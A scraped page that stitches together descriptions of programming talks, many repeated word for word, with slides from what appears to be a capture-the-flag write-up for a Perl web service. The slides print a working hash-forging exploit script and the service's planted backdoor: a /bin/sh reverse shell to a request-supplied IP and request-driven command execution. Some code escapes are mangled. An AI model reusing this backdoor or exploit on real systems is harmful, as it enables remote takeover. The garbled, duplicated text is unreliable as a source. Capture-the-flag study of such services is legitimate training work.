Anton Shabouta "Implementing async binary clients in pure PHP" Fwdays
- Have you ever think how PDO work under the hood?
- What if tomorrow you need to write own DB driver from scratch?
- How to approach such tasks and get around the pitfalls?
- Is it possible to achieve in pure PHP performance comparable to the C extension?
In this talk I will try to answer these and other questions related to the development of clients for various binary protocols. We also analyze the nuances of the asynchronous driver implementation and dive into the world of low-level and not-so-optimizations.
Динамический код: модифицируем таблицу символов во время выполнения. Елена Ши...Moscow.pm
Видео: http://video.mail.ru/corp/p.scherbinin/6/7.html
Tаблица символов — это только небольшой шаг в мир внутреннего устройства Perl, но и он открывает программисту огромные возможности:
— Runtime-кодогенерация.
— Генерация по запросу.
— Изменение кода сторонних модулей на лету и многое другое.
Anton Shabouta "Implementing async binary clients in pure PHP" Fwdays
- Have you ever think how PDO work under the hood?
- What if tomorrow you need to write own DB driver from scratch?
- How to approach such tasks and get around the pitfalls?
- Is it possible to achieve in pure PHP performance comparable to the C extension?
In this talk I will try to answer these and other questions related to the development of clients for various binary protocols. We also analyze the nuances of the asynchronous driver implementation and dive into the world of low-level and not-so-optimizations.
Динамический код: модифицируем таблицу символов во время выполнения. Елена Ши...Moscow.pm
Видео: http://video.mail.ru/corp/p.scherbinin/6/7.html
Tаблица символов — это только небольшой шаг в мир внутреннего устройства Perl, но и он открывает программисту огромные возможности:
— Runtime-кодогенерация.
— Генерация по запросу.
— Изменение кода сторонних модулей на лету и многое другое.
Не верь никому или разработка эффективных приложений (Как писать по настоящем...Moscow.pm
Видео: http://video.mail.ru/corp/p.scherbinin/6/11.html
— Знай свою среду. Почему нужно изучать язык, на котором пишешь.
— Магии нет. Есть непонимание процессов.
— Не верь предрассудкам. Они сложились при других обстоятельствах.
— Доверяй, но проверяй. Прежде, чем использовать решение, проверь.
— Не используй не изучив. Не используй не понимая.
— Код можно менять. Как делать это с умом.
— Можно ли доверять синтетике? Синтетические тесты и реальная нагрузка.
— Немного примеров. Плохих и хороших.
Алексей Плеханов: 25 причин попробовать LaravelOleg Poludnenko
Доклад с PUG#1 https://www.facebook.com/events/1505404039679797/
Мой доклад посвящен популярному фреймворку Laravel.
Я рассказываю про 25 причин, по которым, я считаю, стоит попробовать этот фреймворк, особенно, если раньше Вы не были с ним знакомы. Описаны ORM Eloquent, роутинг в Laravel, работа с основными компонентами, такими как контроллеры, шаблонизатор, авторизация, пагинация, а также более сложные вещи, как Inverse of Control, фасады в Laravel, работа с очередями и консольными командами. Также в докладе освещены другие интересные фичи фреймворка!
PHP User Group Ukraine в социальных сетях:
https://www.facebook.com/pug.ukraine
https://vk.com/pug.ukraine
https://www.linkedin.com/groups/PHP-User-Group-Ukraine-6703717
Пластилиновый код: как перестать кодить и начать житьMoscow.pm
Елена Шишкина, ведущий программист Деньги Mail.Ru. Она покажет практический пример лени как двигателя прогресса в отдельно взятом веб-проекте:
- Надоело писать код? Будем думать, как его не писать!
- Боремся с однотипным кодом. Боремся с неоднотипным кодом.
- Код, которого не существует, и код, который существует.
- Следите за руками: программируем на конфигах!
- Как жить дальше?
Доклад о разработке (а главное - оптимизации) программы на Perl под Raspberry PI.
Наглядно показывает, что в Perl есть немало возможностей, а также инструментов, которые позволяют делать программы быстрее и эффективнее - используя как преимущества самого языка, так и оптимизацию алгоритма программы.
Не верь никому или разработка эффективных приложений (Как писать по настоящем...Moscow.pm
Видео: http://video.mail.ru/corp/p.scherbinin/6/11.html
— Знай свою среду. Почему нужно изучать язык, на котором пишешь.
— Магии нет. Есть непонимание процессов.
— Не верь предрассудкам. Они сложились при других обстоятельствах.
— Доверяй, но проверяй. Прежде, чем использовать решение, проверь.
— Не используй не изучив. Не используй не понимая.
— Код можно менять. Как делать это с умом.
— Можно ли доверять синтетике? Синтетические тесты и реальная нагрузка.
— Немного примеров. Плохих и хороших.
Алексей Плеханов: 25 причин попробовать LaravelOleg Poludnenko
Доклад с PUG#1 https://www.facebook.com/events/1505404039679797/
Мой доклад посвящен популярному фреймворку Laravel.
Я рассказываю про 25 причин, по которым, я считаю, стоит попробовать этот фреймворк, особенно, если раньше Вы не были с ним знакомы. Описаны ORM Eloquent, роутинг в Laravel, работа с основными компонентами, такими как контроллеры, шаблонизатор, авторизация, пагинация, а также более сложные вещи, как Inverse of Control, фасады в Laravel, работа с очередями и консольными командами. Также в докладе освещены другие интересные фичи фреймворка!
PHP User Group Ukraine в социальных сетях:
https://www.facebook.com/pug.ukraine
https://vk.com/pug.ukraine
https://www.linkedin.com/groups/PHP-User-Group-Ukraine-6703717
Пластилиновый код: как перестать кодить и начать житьMoscow.pm
Елена Шишкина, ведущий программист Деньги Mail.Ru. Она покажет практический пример лени как двигателя прогресса в отдельно взятом веб-проекте:
- Надоело писать код? Будем думать, как его не писать!
- Боремся с однотипным кодом. Боремся с неоднотипным кодом.
- Код, которого не существует, и код, который существует.
- Следите за руками: программируем на конфигах!
- Как жить дальше?
Доклад о разработке (а главное - оптимизации) программы на Perl под Raspberry PI.
Наглядно показывает, что в Perl есть немало возможностей, а также инструментов, которые позволяют делать программы быстрее и эффективнее - используя как преимущества самого языка, так и оптимизацию алгоритма программы.
Доклад с WordCamp Moscow 2017 посвящен распространенным ошибкам у разработчиков плагинов и тем в WordPress. Советы и рекомендации, как можно сделать свой продукт лучше и удобнее для пользователей и разработчиков.
Миша Рудрастых: Введение в HTTP API WordPressRuslan Begaliev
Всё чаще и чаще в реальной жизни нам приходится взаимодействовать со сторонними сервисами через API — от получения количества лайков до подключения к платёжным шлюзам, а значит мы не можем игнорировать встроенный в WordPress механизм, предназначенный специально для этого.
В своей работе мы постоянно используем инструменты, призванные облегчить нам жизнь. Но как хорошо мы ими на самом деле владеем? И почему мы пренебрегаем их суперсилами? Например, Chrome DevTools — это не только отладчик и инспектор HTML. Но когда у нас в руках молоток, кругом мерещатся гвозди. Десятки мегабайт и процентов загрузки процессора на вкладку браузера — верный признак того, что пора учиться пользоваться микроскопом.
Роман предложит освоить что-то посложнее молотка и расскажет о том, какую реальную пользу можно получить от профилирования, как найти в огромном отчёте проблему с кодом и что лучше — написать в коде десяток console.log или async debug.
ЛЕКЦИЯ 4. Стандарт POSIX Threads. Реентерабельность функций. Обработка сигналов. Локальные данные потоков. Принудительное завершение потоков. Шаблоны программирования с использованием потоков
Курс "Параллельные вычислительные технологии" (ПВТ), осень 2014
Сибирский государственный университет телекоммуникаций и информатики
преподаватель:
Пазников Алексей Александрович
к.т.н., доцент кафедры вычислительных систем СибГУТИ
Надежный обмен данными в гетерогенной среде, между разными платформами и технологиями является одним из ключевых моментов разработки сложных систем. Во время обмена данные преобразуются в некоторый промежуточный формат совместимый между платформами. Преобразование в подобный формат и из него — крайне рутинная и подверженная ошибкам работа.
Метаописание данных неким декларативным языком с последующей автогенерацией типизированных структур облегчает жизнь разработчику. Снимает с него необходимость задумываться о промежуточном формате, о правильном порядке полей, а типизированность гарантирует выявление ошибок еще на этапе компиляции кода.
В докладе будет рассмотрено несколько подобных решений, их плюсы и минусы. Также будет рассмотрен с практической стороны наш собственный формат метаданных, используемый нами на протяжении более 5 лет.
Целевая аудитория:
Ограничений нет, но в большей степени разработчики, имеющие уже определенный опыт разработки разнородных систем или приступающие к подобной задаче.
2. PLWWW и с чем его едят
Сервис Монолит – зачатки исследовательской лаборатории.
Работа с сервисом осуществляется по средствам протокола HTTP, но
поддерживающего всего два метода работы – GET и ADMIN. Метод GET –
служит только для получения информации, метод ADMIN – для доступа к
панели управления сервисом. После запуска, сервис доступен на порту
8080.
Со стороны файловой системы – сервис представляет собой скрипт,
разработанный на языке Perl. Код скрипта не обфусцирован, но его
структура и используемые методы вводят в заблуждение при первом
рассмотрении. Это сделано. Данный метод разработки скрипта
объясняется со стороны легенды тем, что он был написан на скорую руку
программистами различных галактических рас.
3. PLWWW и с чем его едят (192.168.X.2:8080)
4 состояния
#1 – ошибка при генерации хеша
#2 – слабый пароль администратора (банально)
#3 – бэкдор (странно, откуда он появился? )
#4 – RCE (очевидная, но только
на первый взгляд)
5. PLWWW #1 (192.168.X.2:8080)
Понять принцип работы сервиса
Функция tToSystem
(Особенность данной функции состоит в том, что она заменяет все гласные латинского
алфавита присутствующие в запросе на набор других символов (согласные латинского
алфавита + спец символы))
Метод GET – функция kh8ploegjst
6. PLWWW #1 - cryptFn (192.168.X.2:8080)
kh8ploegjst -> cryptFn
sub cryptFn (&@) {
my($tXt,@enc,$len)=@_;
my $jk;
my $encK="";
for ($jk=0;$jk le $len;$jk++) {
$encK .= $enc[$jk];
}
for ($jk=0;$jk <= $len;$jk++) {
$encK .= $enc[$jk];
}
my $value=md5_hex("$tXt$encK");
return $value;
}
7. PLWWW #1- cryptFn (192.168.X.2:8080)
НА ВХОДЕ : cryptFn(“record_1”,split(//,”XXSSDDFDS”),scalar(split(//,$_)))
sub cryptFn (&@) {
my($tXt,@enc,$len)=@_;
my $jk;
my $encK="";
for ($jk=0;$jk le $len;$jk++) {
$encK .= $enc[$jk];
}
for ($jk=0;$jk <= $len;$jk++) {
$encK .= $enc[$jk];
}
my $value=md5_hex("$tXt$encK");
return $value;
}
НА ВЫХОДЕ : md5_hex(“record_1X");
8. PLWWW #1 - exploit (192.168.X.2:8080)
Функция kh8ploegjst – достаточно подставить «0» как длину имени
директории для выхода в корень.
Для получения валидного хеша файла YOURFLAG.TXT – достаточно узнать
первый символ секретного ключа.
#!/usr/bin/perl
use LWP::UserAgent;
use Digest::MD5 'md5_hex';
@crypto=(a..z);
$fileName="YOURFLAG.TXT";
$ua=LWP::UserAgent->new();
foreach $sym (@crypto) {
$sym="d";
$value=md5_hex("$fileName$sym");
print "$sym $valuen";
$br=$ua->get("http://192.168.1.2:8080/0$value");
print $br->content;
if ($br->content=~/FLAG/) {
print $br->content;
exit();
}
}
10. PLWWW #3 (192.168.X.2:8080)
Смена состояния сервиса, помимо заплаток, приносит в код небольшой
бекдор. Бекдор представляет собой необычное поведение сервиса при
обращении к нему со специально сформированным запросом – сервис
создает бекконнект на указанный в запросе IP адрес с предоставлением
командной строки.
sub pm_backton (&@) {
use IO::Socket;use Socket;use FileHandle;my($h0st)=@_;$h0st=~s/d/./gi;my $tm='/bin/sh';
my $p0rt=int(rand(20000))+10000;socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(SOCKET, sockaddr_in($p0rt, inet_aton($h0st)));SOCKET->autoflush();open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");open(STDERR,">&SOCKET");system($tm);
}
11. PLWWW #3 (192.168.X.2:8080)
Метод ADMIN – функция kh8p1oegst
sub kh8p1oegjst (&@) {
my($query,$enc_key)=@_;
my $status="";
my $aPass="dfknmsdxz83945023489532";
open(FE,"configuration");
while (my $e=<FE>) {chomp($e);if ($e=~/PASSWORD/) {$e=~s/PASSWORD //gi;$aPass=$e;}}
close(FE);
if ($query=~/klrbxtzkljsbrklpjsfxljsspzkssndklrd/) {
my(@Fghj)=split(/klrbxtzkljsbrklpjsfxljsspzkssndklrd/,$query);
if ($aPass eq $Fghj[1]) {
$status=&aPage;
}
} elsif ($query=~/klrbxczklisbrklpjsfxljsspzkssndklrd/) {
my(@Fghj)=split(/klrbxczklisbrklpjsfxljsspzkssndklrd/,$query);
$status=`$Fghj[1]`;
}
if ($query=~/bzkckdklklr/) {$query=~s/bzkckdklklr//gi;&pm_backton($query);}
return $status;
}